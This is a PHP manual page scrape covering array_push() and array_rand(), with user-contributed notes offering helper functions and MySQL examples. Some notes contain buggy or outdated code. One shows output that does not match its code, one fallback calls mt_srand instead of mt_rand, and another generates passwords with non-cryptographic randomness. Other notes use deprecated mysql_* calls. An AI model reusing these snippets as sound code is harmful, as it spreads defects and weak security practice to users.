Where $key is a unique identifier and $value is the value to be stored. Since the $key works off a string or number, if you already have a $key with the same value as an existing $key, the element will be overwritten.

e.g.

$aValues["one"] = "value of one";
$aValues["two"] = "different value of two!";

gives:
array([one] => "value of one", [two] => "value of two");

but will be overwritten when using the same key (one):

$aValues["one"] = "value of one";
$aValues["one"] = "different value of two!";

will give:

array([one] => "different value of two!");

3686
darkimmortal at dkimmortal dot com 18-Feb-2008 11:31
I wrote this function for use with 'latest scores' on a quiz site, but it has many potential uses.

<?php
/**
* @desc array_push and removes elements from the beginning of the array until it is within limit
* @param    array   Array to push on to
* @param    mixed   Passed to array push as 2nd parameter
* @param    int     Limit (default = 10)
*
* @return   array   New array
*/
function array_push_limit($array,$add,$limit=10){
    array_push($array, $add);
    do {
        array_shift($array);
        $size=count($array);
    } while($size > $limit);

    return $array;
}
?>
----------
EXAMPLE:
----------
<?php
    $array=array(1, -5, 23, -66, 33, 54, 3);
    print_r(array_push_limit($array, "HELLO", 4));
?>
----------
OUTPUT:
----------
Array
(
    [0] => 33
    [1] => 54
    [2] => 3
    [3] => HELLO
)
rob AT rate for the cure dot com 15-Aug-2007 09:09
I had a problem with .htaccess and some tricky encrypted paths (for protecting true dir names of images and files) and created this quick function to auto correct paths for the document root using regex and array_diff
<?
function fixPath($path){
        $temp = trim($path);
        $temp = eregi_replace("(\./|\.\./)","/",$temp);
        $temp = eregi_replace("([^/]+(\.htm|\.php))","",$temp);
        if(!eregi($_SERVER['DOCUMENT_ROOT'],$temp,$regs)){
            $partsA = explode("/",substr($temp,0,-1));
            $partsB = explode("/",$_SERVER['DOCUMENT_ROOT']);
            //if the path does not match the dir structure diff the array and reconstruct on the TRUE doc root
            $tHolder = array_diff($partsA,$partsB);
                foreach($tHolder as $k=>$v){
                    array_push($partsB,$v);
                }

            $temp =  implode("/",$partsB)."/";
        }
        return $temp;
    }
$correctPath = fixPath('.som/phpEncrypted/Path/class/class.QMI.php');
?>

The function strips out filename, checks to see if the path resolves to the doc root, and if it does not it takes the difference in the paths and returns a path that translates to the true path. This is useful for encoding paths where you want to obfuscate the true server path (such as creating external api functions)
zbde00 at hotmail dot com 20-Jul-2007 05:59
A very good function to remove a element from array
function array_del($str,&$array)
{
    if (in_array($str,$array)==true)
    {

        foreach ($array as $key=>$value)
        {
            if ($value==$str) unset($array[$key]);
        }
    }
}
antido at gmail dot com 03-Aug-2006 01:04
Simple data object implementation:

<?php

/**
 * Data object
 *
 * @version 0.6
 * @author Tom Reitsma <antido@gmail.com>
 */
Class DataObject
{
    /**
     * @var int $ptr
     */
    private $ptr = 0;

    /**
     * @var array $data
     */
    private $data = array();

    /**
     * Class constructor
     */
    public function __construct($anArray=false)
    {
        if($anArray != false)
        {
            if(is_array($anArray))
            {
                $this->data[] = $anArray;
            }
        }
    }

    /**
     * Fetches the data under the pointer
     *
     * @return String if there is still data left under the pointer, false if the end has been reached
     */
    public function fetch()
    {
        if(isset($this->data[$this->ptr]))
        {
            return $this->data[$this->ptr++];
        }

        return false;
    }

    /**
     * Moves to the next row in the data object
     *
     * @return boolean
     */
    public function moveNext()
    {
        $newPtr = $this->ptr + 1;

        if(isset($this->data[$newPtr]))
        {
            $this->ptr = $newPtr;
            return true;
        }

        return false;
    }

    /**
     * Moves to the previous row in the data object
     *
     * @return boolean
     */
    public function movePrevious()
    {
        $newPtr = $this->ptr - 1;

        if(isset($this->data[$newPtr]))
        {
            return $this->data[$newPtr];
        }

        return false;
    }

    /**
     * Pushes an element onto the array
     *
     * @param String or an array $input
     * @return number of elements
     */
    public function push($input)
    {
        if($this->getNumRows() > 0)
        {
            return array_push($this->data, $input);
        }
        else
        {
            return $this->data[] = $input;
        }
    }

    /**
     * Counts the number of rows
     */
    public function getNumRows()
    {
        return count($this->data);
    }
}

?>
Marc Bernet 15-May-2006 09:18
A small and basic implementation of a stack without using an array.

class node
{
        var $elem;
        var    $next;
}
class stack
{
    var $next;
    function pop()
    {
        $aux=$this->next->elem;
        $this->next=$this->next->next;
        return $aux;
    }
    function push($obj)
    {
        $nod=new node;
        $nod->elem=$obj;
        $nod->next=$this->next;
        $this->next=$nod;
    }
    function stack()
    {
        $this->next=NULL;
    }
}
richard dot udo at gmail dot com 09-Feb-2006 03:05
Just a typo i think but the code below will actually produce

Array
(
    [0] => a
    [1] => b
    [2] => c
    [3] => Array
        (
            [0] => d
            [1] => e
            [2] => f
        )
)
egingell at sisna dot com 28-Jan-2006 06:06
If you push an array onto the stack, PHP will add the whole array to the next element instead of adding the keys and values to the array. If this is not what you want, you're better off using array_merge() or traverse the array you're pushing on and add each element with $stack[$key] = $value.

<?php

$stack = array('a', 'b', 'c');
array_push($stack, array('d', 'e', 'f'));
print_r($stack);

?>
The above will output this:
Array (
  [0] => a
  [1] => b
  [2] => c
  [3] => Array (
     [0] => a
     [1] => b
     [2] => c
  )
)
steve at webthoughts d\ot ca 12-Nov-2005 04:02
Further Modification on the array_push_associative function
1.  removes seemingly useless array_unshift function that generates php warning
2.  adds support for non-array arguments

<?
// Append associative array elements
function array_push_associative(&$arr) {
   $args = func_get_args();
   foreach ($args as $arg) {
       if (is_array($arg)) {
           foreach ($arg as $key => $value) {
               $arr[$key] = $value;
               $ret++;
           }
       }else{
           $arr[$arg] = "";
       }
   }
   return $ret;
}

$items = array("here" => "now");
$moreitems = array("this" => "that");

$theArray = array("where" => "do we go", "here" => "we are today");
echo array_push_associative($theArray, $items, $moreitems, "five") . ' is the size of $theArray.<br />';

echo "<pre>";
print_r($theArray);
echo "</pre>";

?>

Yields:

4 is the size of $theArray.
Array
(
    [where] => do we go
    [here] => now
    [this] => that
    [five] =>
)
ludvig dot ericson at gmail dot com 31-Oct-2005 05:32
Previous comment was not fully imitating the array_push behaviour,
1) does not return number of items pushed
2) can only handle one array to push

> Revised associative_push function with absolute reference of arg1 array; left unchanged if arg2 is empty.

<?php
// Append associative array elements
function array_push_associative(&$arr) {
    $args = func_get_args();
    array_unshift($args); // remove &$arr argument
    foreach ($args as $arg) {
        if (is_array($arg)) {
            foreach ($arg as $key => $value) {
                $arr[$key] = $value;
                $ret++;
            }
        }
    }

    return $ret;
}

$theArray = array();
echo array_push_associative($theArray, $items, $moreitems) . ' items added to $theArray.';
?>
john 19-Oct-2005 01:33
A variation of kamprettos' associative array push:

// append associative array elements
function associative_push($arr, $tmp) {
  if (is_array($tmp)) {
    foreach ($tmp as $key => $value) {
      $arr[$key] = $value;
    }
    return $arr;
  }
  return false;
}

$theArray = array();
$theArray = associative_push($theArray, $items);
kamprettos at yahoo dot com Teguh Iskanto 19-Sep-2005 05:33
Looking for a way to push data into an associative array and frustrated to know that array_push() can't do the job ?

here's my Scenario :
-------------------
I need to relate system command output into an associative array like these :

[sge@digital_db work]$ /usr/local/apache/htdocs/work/qhost.sh -h t1 -F | awk '{if(NR>4) print $1}' | sed  's/hl://g'
arch=lx24-amd64
num_proc=2.000000
mem_total=3.808G
swap_total=3.907G
virtual_total=7.715G
load_avg=0.000000
load_short=0.000000
load_medium=0.000000
load_long=0.000000
mem_free=3.510G
swap_free=3.907G
virtual_free=7.417G
mem_used=305.242M
swap_used=0.000
virtual_used=305.242M
cpu=0.000000
np_load_avg=0.000000
np_load_short=0.000000
np_load_medium=0.000000
np_load_long=0.000000

how I did it :
<? php

# get into the system command output
$assoc_cmd =`$work_dir/qhost.sh -h $host_resource -F | awk '{if(NR>4) print $1}'| sed  's/hl://g' ` ;

# split the "\n" character
$assoc_row = explode("\n", chop($assoc_cmd));

# get the index row
$idx_row  = count($assoc_row) - 1 ;

# initialize the associative array
$host_res_array = array();

for ($i = 0 ; $i<= $idx_row ; $i++)
        {
                # get params & values
                list($host_param,$host_val) = explode("=",$assoc_row[$i]);

                # populate / push data to assoc array
                $host_res_array[$host_param]= $host_val ;
        }

echo "<pre> Architecture : </pre>\n" ;
echo $host_res_array['arch'] ;
echo "<pre> Mem Total    : </pre>\n" ;
echo $host_res_array['mem_tot'];

?>

Hope this helps ! :)
bk at quicknet dot nl 04-Sep-2005 01:51
Add elements to an array before or after a specific index or key:

<?php

/**
 * @return array
 * @param array $src
 * @param array $in
 * @param int|string $pos
*/
function array_push_before($src,$in,$pos){
    if(is_int($pos)) $R=array_merge(array_slice($src,0,$pos), $in, array_slice($src,$pos));
    else{
        foreach($src as $k=>$v){
            if($k==$pos)$R=array_merge($R,$in);
            $R[$k]=$v;
        }
    }return $R;
}

/**
 * @return array
 * @param array $src
 * @param array $in
 * @param int|string $pos
*/
function array_push_after($src,$in,$pos){
    if(is_int($pos)) $R=array_merge(array_slice($src,0,$pos+1), $in, array_slice($src,$pos+1));
    else{
        foreach($src as $k=>$v){
            $R[$k]=$v;
            if($k==$pos)$R=array_merge($R,$in);
        }
    }return $R;
}

// Examples:

$src=array("A","B","C");
$in=array("X","Y");

var_dump(array_push_before($src,$in,1));
/* array_push_before, no-key array
array(5) {
  [0]=>
  string(1) "A"
  [1]=>
  string(1) "X"
  [2]=>
  string(1) "Y"
  [3]=>
  string(1) "B"
  [4]=>
  string(1) "C"
}*/

var_dump(array_push_after($src,$in,1));
/* array_push_after, no-key array
array(5) {
  [0]=>
  string(1) "A"
  [1]=>
  string(1) "B"
  [2]=>
  string(1) "X"
  [3]=>
  string(1) "Y"
  [4]=>
  string(1) "C"
}*/

$src=array('a'=>"A",'b'=>"B",'c'=>"C");
$in=array('x'=>"X",'y'=>"Y");

var_dump(array_push_before($src,$in,1));
/* array_push_before, key array, before index insert
array(5) {
  ["a"]=>
  string(1) "A"
  ["x"]=>
  string(1) "X"
  ["y"]=>
  string(1) "Y"
  ["b"]=>
  string(1) "B"
  ["c"]=>
  string(1) "C"
}*/

var_dump(array_push_before($src,$in,'b'));
/* array_push_before, key array, before key insert
array(5) {
  ["a"]=>
  string(1) "A"
  ["x"]=>
  string(1) "X"
  ["y"]=>
  string(1) "Y"
  ["b"]=>
  string(1) "B"
  ["c"]=>
  string(1) "C"
}*/

var_dump(array_push_after($src,$in,1));
/* array_push_after, key array, after index insert
array(5) {
  ["a"]=>
  string(1) "A"
  ["b"]=>
  string(1) "B"
  ["x"]=>
  string(1) "X"
  ["y"]=>
  string(1) "Y"
  ["c"]=>
  string(1) "C"
}*/

var_dump(array_push_after($src,$in,'b'));
/* array_push_after, key array, after key insert
array(5) {
  ["a"]=>
  string(1) "A"
  ["b"]=>
  string(1) "B"
  ["x"]=>
  string(1) "X"
  ["y"]=>
  string(1) "Y"
  ["c"]=>
  string(1) "C"
}*/

?>
ciprian dot amariei at gmail com 30-Aug-2005 02:47
regarding the speed of oneill's solution to insert a value into a non-associative array,  I've done some tests and I found that it behaves well if you have a small array and more insertions, but for a huge array and a little insersions I sugest  using this function:

function array_insert( &$array, $index, $value ) {
   $cnt = count($array);

   for( $i = $cnt-1; $i >= $index; --$i ) {
       $array[ $i + 1 ] = $array[ $i ];
   }
   $array[$index] = $value;
}

or if you are a speed adicted programmer (same situation: big array, few insertions) use this:

array_splice ( $array, $offset, 0, $item );

item may also be an array of values ;).
Phil Davies 18-Jul-2005 03:51
As someone pointed out the array_push() function returns the count of the array not the key of the new element. As it was the latter function i required i wrote this very simple replacement.

function array_push2(&$array,$object,$key=null){
    $keys = array_keys($array);
    rsort($keys);
    $newkey = ($key==null)?$keys[0]+1:$key;
    $array[$newkey] = $object;
    return $newkey;
}
oneill at c dot dk 03-Jun-2005 01:50
To insert a value into a non-associative array, I find this simple function does the trick:

function insert_in_array_pos($array, $pos, $value)
{
  $result = array_merge(array_slice($array, 0 , $pos), array($value), array_slice($array,  $pos));
  return $result;
}

Seems an awful lot simpler than the iterative solutions given above...
aaron dot hawley at uvm dot edu 27-May-2005 11:36
Skylifter notes on 20-Jan-2004 that the [] empty bracket notation does not return the array count as array_push does.  There's another difference between array_push and the recommended empty bracket notation.

Empy bracket doesn't check if a variable is an array first as array_push does.  If array_push finds that a variable isn't an array it prints a Warning message if E_ALL error reporting is on.

So array_push is safer than [], until further this is changed by the PHP developers.
josh at digitalfruition dot com 14-Feb-2005 10:17
Note that array_push() will, as described, return the COUNT of the array after adding a new item, not necessarily the INDEX of that new item:

<?php
$array = array(3 => 'three', 5 => 'five');

echo "\$array = ";
print_r($array);
echo "\n\n";

$to_push = array(1,2,4,);
foreach($to_push as $var)
{
    echo "calling array_push(\$array,$var); retval is ";
    echo array_push($array,$var);
    echo "\n";
}

echo "\$array = ";
print_r($array);
?>

The output of above is:

$array = Array
(
    [3] => three
    [5] => five
)

calling array_push($array,1); retval is 4
calling array_push($array,2); retval is 5
calling array_push($array,4); retval is 6
$array = Array
(
    [3] => three
    [5] => five
    [7] => seven
    [8] => 1
    [9] => 2
    [10] => 4
)

Notice how when array_push($array,1) was called, the new element has a key of 8 but array_push() returns 4.
andrew at cgipro dot com 02-Feb-2005 03:18
Need a real one-liner for adding an element onto a new array name?

$emp_list_bic = $emp_list + array(c=>"ANY CLIENT");

CONTEXT...
drewdeal: this turns out to be better and easier than array_push()
patelbhadresh: great!... so u discover new idea...
drewdeal: because you can't do:   $emp_list_bic = array_push($emp_list, c=>"ANY CLIENT");
drewdeal: array_push returns a count and affects current array.. and does not support set keys!
drewdeal: yeah. My one-liner makes a new array as a derivative of the prior array
aron 24-Feb-2004 02:48
The problem with array_push is that it is pass by value.  If you are dealing with objects whose inner state may change at any time, you need a push and pop who return the actual objects, rather than copies of them.
After some difficulty and board assistance, I have these methods.  I've tested them, and they seem to work fine.

<?php
function push(&$array, &$object){
    $array[] =& $object;
}
function & pop(&$array){
    return array_pop($array);
}

// [Test Code]
class TestObject{
    var $value = 0;
    function getValue(){
        return $this->value;
    }
    function setValue($mixed){
        $this->value = $mixed;
    }
}
$myarr = array();
$tmp =& new TestObject();
$tmp2 =& new TestObject();
$tmp->setValue(2);
$tmp2->setValue(3);

push($myarr, $tmp);
push($myarr, $tmp2);
$tmp->setValue(4);
$tmp2->setValue(6);
$val = pop($myarr);
print "popped value: ".$val->getValue()."<br />";

print "values in internal array: <br />";
foreach ($myarr as $key=>$value){
    print "key: $key, object: $value, value: ";
    print  $value->getValue()."<br />";
}
// [/TestCode]
?>
skiflyer 20-Jan-2004 04:05
However, don't forget that array_push() does more than [], it also performs a count and returns the value.

Modifying your code ever so slightly (see below), this puts array_push in the lead (not suprisingly).  So my conclusion would be that if I care about the number of elements in the array, then I'd use array_push(), if I don't (which is usually the case), then I'd use the [] method.

Results...
[] method: 0.34943199
push method: 0.31505919
difference: -0.03437280

Modified section of code...
$s_test_begin = FullMicroTime();
for($i = 0; $i <= 50000; $i++) { $num_tot = array_push($test2, $i); }
$s_test_end = FullMicroTime();

$f_test_begin = FullMicroTime();
for($i = 0; $i <= 50000; $i++) { $test[] = $i; $num_tot = count($test); }
$f_test_end = FullMicroTime();
daevid at daevid dot com 16-Feb-2003 08:38
Sadly, array_push() does not create an array if the array doesn't exist.  So if you're pushing the first element onto an array, you need to check and create it manually...

<?php
if ( !is_array($myArray) ) $myArray= array();
array_push($myArray, $myElement);
?>
bart at framers dot nl 27-Sep-2001 04:16
Array_push also works fine with multidimensional arrays. Just make sure the element is defined as an array first.

<?php
$array["element"][$element]["element"] = array();
array_push ($array["element"][$element]["element"], "banana");
?>
array_product
array_rand
Array Functions


Pick one or more random entries out of an array

array_push
array_reduce
Array Functions
PHP Manual

array_rand

(PHP 4, PHP 5)

array_rand — Pick one or more random entries out of an array

Description

mixed array_rand ( array $input [, int $num_req = 1 ] )

Picks one or more random entries out of an array, and returns the key (or keys) of the random entries.

Parameters

input

The input array.

num_req

Specifies how many entries you want to pick. Trying to pick more elements than there are in the array will result in an E_WARNING level error.

Return Values

If you are picking only one entry, array_rand() returns the key for a random entry. Otherwise, it returns an array of keys for the random entries. This is done so that you can pick random keys as well as values out of the array.

Changelog

Version | Description
5.2.10 | The resulting array of keys is no longer shuffled.
4.2.0 | The random number generator is seeded automatically.

Examples

Example #1 array_rand() example

<?php
$input = array("Neo", "Morpheus", "Trinity", "Cypher", "Tank");
$rand_keys = array_rand($input, 2);
echo $input[$rand_keys[0]] . "\n";
echo $input[$rand_keys[1]] . "\n";
?>

See Also

  • shuffle() - Shuffle an array

User Contributed Notes

Sebmil 05-Aug-2011 12:18
Looks like this function has a strange randomness.

If you take any number of elements in an array which has 40..100 elements, the 31st one is always by far the less occuring (by about 10% less than others).

I tried this piece of code at home (PHP Version 5.3.2-1ubuntu4.9) and on my server (PHP Version 5.2.17), unfortunately i haven't any server with the last version here :

<?php
$valeurs = range(1, 40);
$proba = array_fill(1, 40, 0);
for ($i = 0; $i < 10000; ++$i)
{
    $tirage_tab = array_rand($valeurs, 10);
    foreach($tirage_tab as $key => $value)
    {
        $proba[$valeurs[$value]]++;
    }
}

asort($proba);
echo "Proba : <br/>\n";
foreach($proba as $key => $value)
{
    echo "$key : $value<br/>\n";
}
?>

In every try, the number of occurrences change a bit but the 31 is always far less (around 2200) than the others (2400-2600). I tried with 50 and 100 elements, no change. I tried with more or less elements to pick (second parameter to array_rand), same result. If you pick only one element it's even worse : 31 has half the result of the others.

For this particular case, i recommend shuffling the array and taking the nth first elements, in this test it's 60% faster and the statistics are ok.
zenko 15-Jun-2010 11:55
unset() seem to me to be a better way to have a unique key in the generated result.
Taking 1 from $i can last very long if you generate a long password (try with 20 chars) because array_rand can always "choose" a key which has already been used.
<?php

$my_array = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "0", "1", "2", "3", "4", "5");
$parola = '';
    for ($i=0; $i<=15; $i++)
    {
        // Generates the random number from the array
        $random = array_rand($my_array);

        // Echo the count number and the random number called from array_rand
        // and print the array to see the last random char has been deleted
        echo '<br /> count ' . $i . ' => ' . $random . ' call<br />';
        print_r($my_array);

        // Add the char to parola...
        $parola .= $my_array[$random];

        // ...then unset the char from the array
        unset($my_array[$random]);

    }

    // Echo the result
    echo '<br /><br /> Parola generated : ' . $parola;
?>
Anonymous 02-Oct-2009 01:04
If the array elements are unique, and are all integers or strings, here is a simple way to pick $n random *values* (not keys) from an array $array:

<?php array_rand(array_flip($array), $n); ?>
darren(at)ironworks-crawley(do)co(do)uk 24-Feb-2009 07:52
adapted from herodesh's code,
will pull a number of unique from arrays.

<?php

$my_array = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "0", "1", "2", "3", "4", "5");
        for ($i=0; $i<=10; $i++)
        {
            $random = array_rand($my_array);
                        //this generates the random number from the array
            echo "<br> count $i <br> $random call";
                    // echo the count number and the random number called from array_rand
                    if ($check[$random]<>0) {
                    $i--;
                    echo "ed already try again";
                    // if check array isnt = 0 then the random number has been already called re random by taking 1 from $i to ensure correct number of results
                    } else {
                    $check[$random]=1;
                    // set check to 1 so it knows the array number has been used
            $parola .= $my_array[$random];}
                        //here we will display the exact charachter from the array
        }
        echo "<br> $parola"; // printing result
        ?>
//delete as required
This is my first php script or code or adaption (so be kind),As its most likely bad coding. i have been looking at using php to pull and display random pictures to display on the website not pulling the same picture twice. work obviously required.changing contents of $my_array to "<img src="bla-bla1.jpg>"
Basically it just calls an array_rand as in herodesh's code, but uses a second "fake" array to flag true or false (1 or null) to compare if it has been called prior. changing $check[$random]=1 to $check[$random]++1 and if ($check[$random]<>0) to if ($check[$random]<2) obviously changes the number of times it allows the same array to be called randomly.
info at pavliga dot com 28-Dec-2008 01:52
If you want get unique range:

<?php
$n = 15;

$data = range(1, 20);
$rand = array_rand($data,$n);

for($i=0; $i<$n; $i++)
{
echo $rand[$i]."<br>";
}

?>
admin at jeremyzaretski dot com 15-Dec-2008 08:11
<?php
// a foreach friendly version of array_rand
function Select_Random_Indices($source_array, $count = 1)
{
    if($count > 0)
    {
        if($count == 1)
        {
            $result = array(array_rand($source_array, $count));
        }
        else
        {
            $result = array_rand($source_array, $count);
        }
    }
    else
    {
        $result = array();
    }

    return $result;
}

// using the above function to pick random values instead of entries
function Select_Random_Entries($source_array, $count = 1)
{
    $result = array();
    $index_array = Select_Random_Indices($source_array, $count);

    foreach($index_array as $index)
    {
        $result[$index] = $source_array[$index];
    }

    return $result;
}
?>
MadeGlobal 30-May-2008 03:16
A problem exists with the array_pick function suggested by adrian.quark - if the function only has to remove one item from the array (e.g. original array has five entries and you want it to return four), you get a problem with the different behavior of array_rand when the parameter is 1

Fixed implementation:

<?php

function array_pick($hash, $num) {
  $count = count($hash);
  if ($num <= 0) return array();
  if ($num >= $count) return $hash;
  $required = $count - $num;
  if ($required == 1) {   //array rand returns the KEY if there is only one item requested so...
      $keys = array(array_rand($hash, $required));
  } else
      $keys = array_rand($hash, $required);
  foreach ($keys as $k) unset($hash[$k]);
  return $hash;
}

?>
adrian.quark at alchemysystems dot com 04-Jan-2008 10:57
Here is a function to pick a random fixed-size subset of an array without changing the order. It's possible to be slightly faster in some cases if you know the array keys are numeric or if you're only picking a few elements, but this is a good general implementation.

<?php
/**
 * Pick $num elements from $array at random, preserving order and keys.
 */
function array_pick($hash, $num) {
        $count = count($hash);
        if ($num <= 0) return array();
        if ($num >= $count) return $hash;
        $keys = array_rand($hash, $count - $num);
        foreach ($keys as $k) unset($hash[$k]);
        return $hash;
}
?>
herodesh [-at_] gmail [-dot-] com 05-Sep-2007 03:36
this is to generate a random selection from an array with array_rand preety nice, can be used to generate random passwords or anything:

$my_array = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "0", "1", "2", "3", "4", "5");
        for ($i=0; $i<=10; $i++)
        {
            $random = array_rand($my_array);
                        //this generates the random number from the array
            $parola .= $my_array[$random];
                        //here we will display the exact charachter from the array
        }
        echo $parola; // printing result
Hayley Watson 11-Jun-2007 08:38
To add to asp at cyberlin dot eu's comment. Not only will it return NULL but it will also trigger a warning, and not only if the number of elements requested is too large to be satisfied by the array but also if it is zero. The warning message sums the situation up: "Second argument has to be between 1 and the number of elements [inclusive] in the array".
asp at cyberlin dot eu 13-Apr-2007 01:24
array_rand() is very useful, but note:

In the case that the count of the array is smaller then the optional parameter 'num_req', it will return an empty array (or string).
Reinoud Elhorst 10-Apr-2007 03:50
Please note that (at least in PHP 4.3.11), while each key from the source array has a equal chance of being picked, the order in which they are returned is NOT random. In an array with keys from one to 10, where 2 random keys are picked, 0 is picked as the first number 18.8% of the time, and only as second number in 1.1% of the time:

$n=100000;
$a=array(1,2,3,4,5,6,7,8,9,10);
$b=array();
for($i=0;$i<sizeof($a);$i++) {
  $b[$i]=array(0,0);
}
for($i=0;$i<$n;$i++) {
  $keys=array_rand($a,2);
  $b[$keys[0]][0]++;
  $b[$keys[1]][1]++;
}
for ($i=0;$i<sizeof($b);$i++){
  printf("%d: %04.1f%% %04.1f%% %04.1f%%", $i, ($b[$i][0]/$n*100),($b[$i][1]/$n*100),($b[$i][0]+$b[$i][1])/$n*100);
}

The result is:
0: 18.8% 01.1% 19.9%
1: 17.0% 03.3% 20.3%
2: 14.3% 05.7% 20.0%
3: 12.2% 07.9% 20.1%
4: 10.0% 10.0% 20.0%
5: 07.8% 12.0% 19.8%
6: 05.5% 14.5% 20.0%
7: 03.3% 16.6% 19.9%
8: 01.2% 18.9% 20.1%
9: 10.0% 09.9% 19.9%

The workaround is adding a shuffle command to shuffle the keys:

0: 10.0% 10.0% 20.0%
1: 10.0% 10.0% 20.0%
2: 10.0% 10.0% 20.0%
3: 10.0% 10.0% 20.0%
4: 10.0% 10.0% 20.0%
5: 10.0% 10.0% 20.0%
6: 10.1% 10.0% 20.1%
7: 10.0% 10.0% 20.0%
8: 10.0% 10.0% 20.0%
9: 10.0% 10.0% 20.0%
Sven Arduwie 28-Jan-2007 05:40
Here is my array_mt_rand function.
<?php
    function array_mt_rand(array $array, $numberOfKeys = 1)
    {
        if (!is_int($numberOfKeys)) throw new Exception;
        if ($numberOfKeys < 1) throw new Exception;
        $keys = array_keys($array);
        $maximum = count($array) - 1;
        if ($numberOfKeys == 1) {
            return $keys[mt_rand(0, $maximum)];
        } else {
            $randomKeys = array();
            for ($i = 0; $i < $numberOfKeys; $i++) {
                $randomKeys[] = $keys[mt_rand(0, $maximum)];
            }
            return $randomKeys;
        }
    }
?>
Frederick Lemasson aka djassper at gmail 04-Dec-2006 12:57
To select a random Value (not a Key) from a Multi-Dimentionnal array I made a recursive function : array_multi_rand()

the following exemple randomly selects an url from a multidimentionnal array :

<?

$Expos['Google']['Science']='news.google.fr/news?topic=t';
$Expos['Google']['Economie']='news.google.fr/news?topic=b';
$Expos['Google']['Sante']='news.google.fr/news?topic=m';
$Expos['Yahoo']='fr.news.yahoo.com';
$Expos['Events']['LogicielLibre']='agendadulibre.org';
$Expos['MyBlog']='www.kik-it.com';

function array_multi_rand($Zoo){
    $Boo=array_rand($Zoo);
    if(is_array($Zoo[$Boo])){
        return array_multi_rand($Zoo[$Boo]);
    }else{
        return $Zoo[$Boo];
    }
}

echo(array_multi_rand($Expos));

?>
jan at planetromeo dot com 24-Nov-2006 08:56
Instead of using the horrible slow

select * from some_table order by rand() limit 1;

have a look at this more performant solution from
http://jan.kneschke.de/projects/mysql/order-by-rand/

SELECT * FROM some_table AS r1
JOIN (SELECT ROUND(RAND() * (SELECT MAX(id) FROM some_table)) AS id) AS r2
WHERE r1.id >= r2.id
ORDER BY r1.id ASC
LIMIT 1;
alec 10-Nov-2006 05:37
select * from some_table order by rand() limit 1;

is extremely slow for large tables. large as in a a few thousand entries.
dbrooks at icarusstudios dot com 05-Sep-2006 02:28
Instead of looping through all the rows selected to pick a random one, let the server do the work for you:

select * from some_table order by rand() limit 1;
JS 04-Sep-2006 03:07
I wanted to write something that picks a random entry from a 1column-MySQL database - simply Post Of The Moment (potm). I know there surly are many better ways to do it, but I`m rather new to PHP :)  Anyway, it`s simple and no-problem working code.
Of course I assume your DB exists and you always have something in it.

@$link = MySQL_Connect("localhost", "username", "password"); //connect to mysql
mySQL_Select_DB("database"); //..to DB
@$potms = MySQL_Query("SELECT * FROM potm"); //now we get all from our table and store it
MySQL_Close($link); //there`s no need for connection, so we should close it

$potm_array = ''; //sets variables to "zero" values
$i = 0;
while ($entry = MySQL_Fetch_Array($potms)) //now we go through our DB
       {
         $potm_array[$i] = $entry; //our temporary array from which we will random pick a field key
         $i++; //now we increment our field key
       }

$potm_id = array_rand($potw_array); //picks a random key from array
$potm = $potm_array[$potm_id]['name_of_the_field']; //now we have stored our Post Of The Moment in $potm

..hope this helps
mark at rugbyweb dot org 30-Aug-2006 01:29
I was setting up a rotating add banner and was trying to find a way to go about it using an auto_increment id from the database, so I wrote this little script:

<?php
require "mysql.php";
global $c;
print "<center>";
$qq=mysql_query("SELECT adID FROM ads WHERE adCLICKS<=adMAX",$c) or die (mysql_error()."<br>Error, please report this error quoting #QAB");
while($q=mysql_fetch_array($qq))
{
$ad1[$q['adID']]++; //Used an array and inserted the database query results into it.
}
$ad=array_rand($ad1, 1); //Did a random array function and then used it in the query below.
$er=mysql_query("SELECT * FROM ads WHERE adID='$ad'") or die (mysql_error()."<br>Error, please report this error quoting #QAB3");
if(!mysql_num_rows($er))
{
print "<A href='advertise.php'>Place an ad here!</a>";
exit;
}
$r=mysql_fetch_array($er);
print "<a href='adsout.php?ID={$r['adID']}&BLOCK=1'><img src='{$r['adAD']}' alt='{$r['adNAME']}' height='60' width='468'></a>";
?>
dragonfly at dragonflyeye dot net 07-Jul-2006 01:28
Well, I came up with a workaround for my earlier problem.  For those of you who might need to shuffle around multi-dimensional arrays (I used this to randomize a list of headlines from a MySQL database query), here's what I did to get the desired output:

$subs = //my query went here
$shfl = array_rand($subs, 5);
$shsubs = array();
for ($x=0; $x<count($shfl); $x++) {
    $shsubs[] = $subs[$shfl[$x]];
}

There may in fact be a much easier way to do this, but this is what I came up with and its working!

Thanks to everyone that makes php.net the invaluable tool for us nooobies!
dragonfly at dragonflyeye dot net 07-Jul-2006 07:57
Well, this is interesting.   I don't see anyone else commenting on this, so just in case you were planning to use this function like I was, be prepared: array_rand does not handle multidimensional arrays.  It just ends up returning a list of the X-axis values without the Y-axis arrays.  Bummer.  I'm going to have to find another way to do what I wanted.
steve at webcommons dot biz 05-Jul-2006 02:12
Following are functions for getting a random key or value (or array of random keys or values) from a filtered array.  In other words, given an array of data, these functions filter out what you don't want, then extract a random element or bunch from what's left.

$CallBack is the filtering function.

  // Utility function for functions below
  function GetRandomArrayValue($TheArray) {
      return $TheArray[array_rand($TheArray)];
  }

  // Get a random key or array of keys from a filtered array
  function GetRandomFilteredArrayKeys($aInput, $CallBack = NULL, $NumReq = 1) {
      $FilteredKeys = array_keys(array_filter($aInput, $CallBack));

      if ($NumReq <= 1) {
        return GetRandomArrayValue($FilteredKeys);
      }
      else {
        shuffle($FilteredKeys);

        return array_slice($FilteredKeys, 0, $NumReq);
      }
  }

  // Get a random value or array of values from a filtered array
  function GetRandomFilteredArrayValues($aInput, $CallBack = NULL, $NumReq = 1) {
      $aFiltered = array_filter($aInput, $CallBack);

      if ($NumReq <= 1) {
        return $aFiltered[GetRandomArrayValue(array_keys($aFiltered))];
      }
      else {
        shuffle($aFiltered);

        return array_slice($aFiltered, 0, $NumReq);
      }
  }
trukin at gmail dot com 16-Mar-2006 01:23
Modify of last note:
<?php
if (!function_exists('array_rand')) {
    function array_rand($array, $lim=1) {
        mt_srand((double) microtime() * 1000000);
        for($a=0; $a<=$lim; $a++){
            $num[] = mt_srand(0, count($array)-1);
        }
        return @$num;
    }
}
?>

mt_rand generates a better random number, and with the limit.
emailfire at gmail dot com 13-Mar-2006 01:32
<?php
if (!function_exists('array_rand')) {
function array_rand($array) {
srand((double) microtime() * 1000000);
return rand(0, count($array)-1);
}
}
?>
Will-ster 01-Jan-2006 04:18
